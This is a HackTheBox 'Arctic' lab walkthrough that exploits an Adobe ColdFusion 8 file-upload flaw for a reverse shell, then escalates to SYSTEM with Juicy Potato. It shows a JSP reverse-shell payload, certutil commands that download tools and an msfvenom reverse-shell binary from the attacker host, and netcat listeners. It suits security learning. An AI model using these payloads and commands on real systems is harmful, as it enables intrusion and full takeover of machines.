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Arctic | August 2, 2023

Introduction

Welcome to my another writeup! In this HackTheBox Arctic machine, you’ll learn: Exploiting Adobe ColdFusion 8 Remote Code Execution (RCE) via file upload vulnerability, privilege escalation via abusing SeImpersonatePrivilege with Juicy Potato, and more! Without further ado, let’s dive in.

Table of Content

  1. Service Enumeration
  2. Initial Foothold
  3. Privilege Escalation: arctic\tolis to NT AUTHORITY\SYSTEM
  4. Conclusion

Background

Service Enumeration

Create 2 environment variables for future use:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|13:47:16(HKT)]
└> export RHOSTS=10.10.10.11           
┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|13:47:19(HKT)]
└> export LHOST=`ifconfig tun0 | grep -E 'inet [0-9]+\.[0-9]+\.[0-9]+\.[0-9]' | cut -d' ' -f10`

As usual, scan the machine for open ports via rustscan and nmap!

Rustscan:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|13:47:23(HKT)]
└> mkdir scanning; rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -Pn -oN scanning/rustscan.txt
[...]
Open 10.10.10.11:135
Open 10.10.10.11:8500
Open 10.10.10.11:49154
[...]
PORT      STATE SERVICE REASON  VERSION
135/tcp   open  msrpc   syn-ack Microsoft Windows RPC
8500/tcp  open  fmtp?   syn-ack
49154/tcp open  msrpc   syn-ack Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

nmap UDP port scan:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|13:47:43(HKT)]
└> sudo nmap -sU -Pn $RHOSTS -oN scanning/nmap-udp-top1000.txt
[...]
Not shown: 1000 open|filtered udp ports (no-response)

According to rustscan and nmap result, the target machine has 3 port are opened:

Open Port Service
135/TCP, 49154/TCP Microsoft Windows RPC
8500/TCP Unknown

RPC on TCP port 135

Note: Microsoft Remote Procedure Call (RPC), also known as a function call or a subroutine call, is a protocol that uses the client-server model in order to allow one program to request service from a program on another computer without having to understand the details of that computer’s network. MSRPC was originally derived from open source software but has been developed further and copyrighted by Microsoft. (From https://book.hacktricks.xyz/network-services-pentesting/135-pentesting-msrpc)

In here, we can use Impacket’s rpcdump to enumerate the target’s network.

rcpdump:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|13:58:21(HKT)]
└> impacket-rpcdump $RHOSTS -p 135 | tee rpcdump.txt
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Retrieving endpoint list from 10.10.10.11
Protocol: [MS-RSP]: Remote Shutdown Protocol 
Provider: wininit.exe 
UUID    : D95AFE70-A6D5-4259-822E-2C84DA1DDB0D v1.0 
Bindings: 
          ncacn_ip_tcp:10.10.10.11[49152]
          ncalrpc:[WindowsShutdown]
          ncacn_np:\\ARCTIC[\PIPE\InitShutdown]
          ncalrpc:[WMsgKRpc0839F0]

Protocol: N/A 
Provider: winlogon.exe 
UUID    : 76F226C3-EC14-4325-8A99-6A46348418AF v1.0 
Bindings: 
          ncalrpc:[WindowsShutdown]
          ncacn_np:\\ARCTIC[\PIPE\InitShutdown]
          ncalrpc:[WMsgKRpc0839F0]
          ncalrpc:[WMsgKRpc086FB1]
[...]
Protocol: [MS-CMPO]: MSDTC Connection Manager: 
Provider: msdtcprx.dll 
UUID    : 906B0CE0-C70B-1067-B317-00DD010662DA v1.0 
Bindings: 
          ncalrpc:[LRPC-c3625abe31a51a7ce3]
          ncalrpc:[OLE07D71D1BD18642BF9CA85D35BFF2]
          ncalrpc:[LRPC-5d05a4a5a843593836]
          ncalrpc:[LRPC-5d05a4a5a843593836]
          ncalrpc:[LRPC-5d05a4a5a843593836]
          ncalrpc:[LRPC-5d05a4a5a843593836]

[*] Received 98 endpoints.

Nothing useful.

Unknown service on TCP port 8500

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:05:57(HKT)]
└> curl -s http://$RHOSTS:8500/ | html2text 
****** Index of / ******

===============================================================================
CFIDE/               dir   03/22/17 08:52 μμ
cfdocs/              dir   03/22/17 08:55 μμ
===============================================================================

Hmm? TCP port 8500 is a web server, and the webroot directory has 2 directories: CFIDE/ and cfdocs/.

CFIDE/:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:08:33(HKT)]
└> curl -s http://$RHOSTS:8500/CFIDE/ | html2text
****** Index of /CFIDE/ ******

===============================================================================
Parent_..                                              dir   03/22/17 08:52
μμ
Application.cfm                                       1151   03/18/08 11:06
Ïμ
adminapi/                                              dir   03/22/17 08:53
μμ
administrator/                                         dir   03/22/17 08:55
μμ
classes/                                               dir   03/22/17 08:52
μμ
componentutils/                                        dir   03/22/17 08:52
μμ
debug/                                                 dir   03/22/17 08:52
μμ
images/                                                dir   03/22/17 08:52
μμ
install.cfm                                          12077   03/18/08 11:06
Ïμ
multiservermonitor-access-policy.xml                   278   03/18/08 11:07
Ïμ
probe.cfm                                            30778   03/18/08 11:06
Ïμ
scripts/                                               dir   03/22/17 08:52
μμ
wizards/                                               dir   03/22/17 08:52
μμ
===============================================================================

cfdocs/:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:09:04(HKT)]
└> curl -s http://$RHOSTS:8500/cfdocs/ | html2text
****** Index of /cfdocs/ ******

===============================================================================
Parent_..                           dir   03/22/17 08:55 μμ
copyright.htm                      3026   03/22/17 08:55 μμ
dochome.htm                        2180   03/22/17 08:55 μμ
getting_started/                    dir   03/22/17 08:55 μμ
htmldocs/                           dir   03/22/17 08:55 μμ
images/                             dir   03/22/17 08:55 μμ
newton.js                          2028   03/22/17 08:55 μμ
newton_ie.css                      3360   03/22/17 08:55 μμ
newton_ns.css                      4281   03/22/17 08:55 μμ
toc.css                             244   03/22/17 08:55 μμ
===============================================================================

After Googling “what is TCP port 8500”, “CFIDE”, “cfdocs”, and reading file cfdocs/dochome.htm, it’s clear that this TCP port 8500 is a Adobe ColdFusion:

Note: Adobe ColdFusion is a commercial rapid web-application development computing platform written in Java. ColdFusion was originally designed to make it easier to connect simple HTML pages to a database. (From https://en.wikipedia.org/wiki/Adobe_ColdFusion)

Most importantly, based on HTM file cfdocs/dochome.htm, we now know that its version is 8.

Initial Foothold

Armed with above information, we can search for public exploits via the offline version of Exploit-DB, searchsploit:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:15:12(HKT)]
└> searchsploit adobe coldfusion 8
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
Adobe ColdFusion - 'probe.cfm' Cross-Site Scripting                  | cfm/webapps/36067.txt
Adobe ColdFusion - Directory Traversal                               | multiple/remote/14641.py
Adobe ColdFusion - Directory Traversal (Metasploit)                  | multiple/remote/16985.rb
Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code E | windows/remote/50781.txt
Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserializatio | windows/remote/43993.py
Adobe ColdFusion 2018 - Arbitrary File Upload                        | multiple/webapps/45979.txt
Adobe ColdFusion 6/7 - User_Agent Error Page Cross-Site Scripting    | cfm/webapps/29567.txt
Adobe ColdFusion 7 - Multiple Cross-Site Scripting Vulnerabilities   | cfm/webapps/36172.txt
Adobe ColdFusion 8 - Remote Command Execution (RCE)                  | cfm/webapps/50057.py
Adobe ColdFusion 9 - Administrative Authentication Bypass            | windows/webapps/27755.txt
Adobe ColdFusion 9 - Administrative Authentication Bypass (Metasploi | multiple/remote/30210.rb
Adobe ColdFusion < 11 Update 10 - XML External Entity Injection      | multiple/webapps/40346.py
Adobe ColdFusion APSB13-03 - Remote Multiple Vulnerabilities (Metasp | multiple/remote/24946.rb
Adobe ColdFusion Server 8.0.1 - '/administrator/enter.cfm' Query Str | cfm/webapps/33170.txt
Adobe ColdFusion Server 8.0.1 - '/wizards/common/_authenticatewizard | cfm/webapps/33167.txt
Adobe ColdFusion Server 8.0.1 - '/wizards/common/_logintowizard.cfm' | cfm/webapps/33169.txt
Adobe ColdFusion Server 8.0.1 - 'administrator/logviewer/searchlog.c | cfm/webapps/33168.txt
--------------------------------------------------------------------- ---------------------------------
[...]

In here, we can see there’s a Remote Code/Command Execution (RCE) exploit in Adobe ColdFusion 8, let’s mirror it:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:16:33(HKT)]
└> searchsploit -m 50057     
  Exploit: Adobe ColdFusion 8 - Remote Command Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50057
     Path: /usr/share/exploitdb/exploits/cfm/webapps/50057.py
    Codes: CVE-2009-2265
 Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/siunam/ctf/htb/Machines/Arctic/50057.py

After reading through all the exploit code, this exploit Python script will exploit a file upload vulnerability in /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm, and uses null byte (%00) to bypass the extension filter:

The flow of the exploit script:

  1. Generate a JSP reverse shell via msfvenom
  2. Upload the JSP reverse shell via /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm file upload vulnerability
  3. Setup a netcat listener
  4. Execute the uploaded reverse shell in /userfiles/file/{filename}.jsp
  5. Profit

But before we run the exploit, we need to change the lhost, or maybe lport variable:

if __name__ == '__main__':
    # Define some information
    lhost = '10.10.14.8'
    lport = 443
    rhost = "10.10.10.11"
    rport = 8500

Then run the exploit script:

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:23:41(HKT)]
└> python3 50057.py 

Generating a payload...
Payload size: 1495 bytes
Saved as: a8b0f6c3f98a496f816e77c8c98d81f2.jsp

Priting request...
Content-type: multipart/form-data; boundary=e2921372af2d435ab7839c8c1c22ad5a
Content-length: 1696

--e2921372af2d435ab7839c8c1c22ad5a
Content-Disposition: form-data; name="newfile"; filename="a8b0f6c3f98a496f816e77c8c98d81f2.txt"
Content-Type: text/plain

<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
[...]
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "10.10.14.8", 443 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
%>

--e2921372af2d435ab7839c8c1c22ad5a--


Sending request and printing response...


		<script type="text/javascript">
			window.parent.OnUploadCompleted( 0, "/userfiles/file/a8b0f6c3f98a496f816e77c8c98d81f2.jsp/a8b0f6c3f98a496f816e77c8c98d81f2.txt", "a8b0f6c3f98a496f816e77c8c98d81f2.txt", "0" );
		</script>
	

Printing some information for debugging...
lhost: 10.10.14.8
lport: 443
rhost: 10.10.10.11
rport: 8500
payload: a8b0f6c3f98a496f816e77c8c98d81f2.jsp

Deleting the payload...

Listening for connection...

Executing the payload...
listening on [any] 443 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.11] 49324
[...]
C:\ColdFusion8\runtime\bin>whoami && ipconfig /all
arctic\tolis

Windows IP Configuration

   Host Name . . . . . . . . . . . . : arctic
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : 00-50-56-B9-F5-5E
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.10.10.11(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
   DNS Servers . . . . . . . . . . . : 10.10.10.2
[...]

I’m user arctic\tolis!

user.txt:

C:\Users\tolis\Desktop>type user.txt
{Redacted}

Privilege Escalation

arctic\tolis to NT AUTHORITY\SYSTEM

After gaining initial foothold on the target machine, we can perform system enumerations to escalate our privilege.

Local users:

C:\ColdFusion8\runtime\bin>net user
[...]
-------------------------------------------------------------------------------
Administrator            Guest                    tolis                    
[...]

User tolis details:

C:\ColdFusion8\runtime\bin>net user tolis
User name                    tolis
Full Name                    tolis
[...]
Local Group Memberships      *Users                
Global Group memberships     *None

Nothing useful, as tolis is only a member of local group Users.

System information:

C:\ColdFusion8\runtime\bin>systeminfo
[...]
OS Name:                   Microsoft Windows Server 2008 R2 Standard 
OS Version:                6.1.7600 N/A Build 7600
[...]
System Type:               x64-based PC
[...]

Maybe we can exploit some Kernel Exploits (KE)?

User tolis’s privilege:

C:\ColdFusion8\runtime\bin>whoami /priv
[...]
Privilege Name                Description                               State   
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

User tolis’ has SeImpersonatePrivilege. Maybe we can use potato exploit to escalate our privilege to SYSTEM?

Unquoted service path:

C:\ColdFusion8\runtime\bin>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
ColdFusion 8 .NET Service                               ColdFusion 8 .NET Service        C:\ColdFusion8\jnbridge\CF8DotNetsvc.exe                                                                        Auto       

Note: Unquoted service path is a vulnerability that the path to the service binary is not wrapped in quotes and there are spaces in the path.

Hmm… This service “ColdFusion 8 .NET Service” looks kinda interesting…

Ah ha, User tolis has full control! Which means we can overwrite CF8DotNetsvc.exe, and replace it with a reverse shell.

C:\ColdFusion8\runtime\bin>sc stop "ColdFusion 8 .NET Service"
[SC] OpenService FAILED 5:

Access is denied.


C:\ColdFusion8\runtime\bin>sc qc "ColdFusion 8 .NET Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ColdFusion 8 .NET Service
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\ColdFusion8\jnbridge\CF8DotNetsvc.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : ColdFusion 8 .NET Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem
C:\ColdFusion8\runtime\bin>whoami /priv
[...]
Privilege Name                Description                               State   
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Nope. The SERVICE_START_NAME is LocalSystem, which means only SYSTEM user can restart the service. Also, user tolis can’t reboot the machine as this user doesn’t have SeShutdownPrivilege, which is the permission to shut down/reboot the system. That being said, we can’t escalate our privilege to SYSTEM via overwriting CF8DotNetsvc.exe binary.

Luckily, user tolis has SeImpersonatePrivilege, which means we can leverage potato exploits to escalate our privilege to SYSTEM!

According to https://jlajara.gitlab.io/Potatoes_Windows_Privesc#tldr, if the Windows version is < Windows 10 1809 < Windows Server 2019, we can try to use Juicy Potato.

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:52:15(HKT)]
└> file /opt/juicy-potato/JuicyPotato.exe 
/opt/juicy-potato/JuicyPotato.exe: PE32+ executable (console) x86-64, for MS Windows, 7 sections
┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:52:19(HKT)]
└> python3 -m http.server -d /opt/juicy-potato/ 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
C:\ColdFusion8\runtime\bin>certutil -urlcache -split -f http://10.10.14.8/JuicyPotato.exe C:\Users\tolis\Desktop\JuicyPotato.exe
[...]
CertUtil: -URLCache command completed successfully.
C:\ColdFusion8\runtime\bin>C:\Users\tolis\Desktop\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} -a "/c whoami"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

Note: You can find a suitable CLSID in https://ohpe.it/juicy-potato/CLSID/.

It worked!

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:57:15(HKT)]
└> msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=53 -f exe -o revshell_stageless_system.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: revshell_system.exe
┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|14:57:39(HKT)]
└> python3 -m http.server 80   
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
C:\ColdFusion8\runtime\bin>certutil -urlcache -split -f http://10.10.14.8/revshell_stageless_system.exe C:\Users\tolis\Desktop\revshell_stageless_system.exe
[...]
CertUtil: -URLCache command completed successfully.
┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|15:00:26(HKT)]
└> rlwrap -cAr nc -lvnp 53
listening on [any] 53 ...
C:\ColdFusion8\runtime\bin>C:\Users\tolis\Desktop\revshell_stageless_system.exe
C:\ColdFusion8\runtime\bin>
┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|15:00:26(HKT)]
└> rlwrap -cAr nc -lvnp 53
listening on [any] 53 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.11] 49492
[...]
C:\ColdFusion8\runtime\bin>whoami
whoami
arctic\tolis

It worked!

┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|15:01:36(HKT)]
└> rlwrap -cAr nc -lvnp 53
listening on [any] 53 ...
C:\ColdFusion8\runtime\bin>C:\Users\tolis\Desktop\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} -a "/c C:\Users\tolis\Desktop\revshell_stageless_system.exe"
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
┌[siunam♥Mercury]-(~/ctf/htb/Machines/Arctic)-[2023.08.02|15:01:36(HKT)]
└> rlwrap -cAr nc -lvnp 53
listening on [any] 53 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.11] 49505
[...]
C:\Windows\system32>whoami && ipconfig /all
nt authority\system

Windows IP Configuration

   Host Name . . . . . . . . . . . . : arctic
   Primary Dns Suffix  . . . . . . . : 
   Node Type . . . . . . . . . . . . : Hybrid
   IP Routing Enabled. . . . . . . . : No
   WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . : 
   Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
   Physical Address. . . . . . . . . : 00-50-56-B9-F5-5E
   DHCP Enabled. . . . . . . . . . . : No
   Autoconfiguration Enabled . . . . : Yes
   IPv4 Address. . . . . . . . . . . : 10.10.10.11(Preferred) 
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.10.2
   DNS Servers . . . . . . . . . . . : 10.10.10.2
[...]

I’m now NT AUTHORITY\SYSTEM! :D

Rooted

root.txt:

C:\Users\Administrator\Desktop>type root.txt
{Redacted}

Conclusion

What we’ve learned:

  1. Exploiting Adobe ColdFusion 8 Remote Code Execution (RCE) via file upload vulnerability
  2. Vertical privilege escalation via abusing SeImpersonatePrivilege with Juicy Potato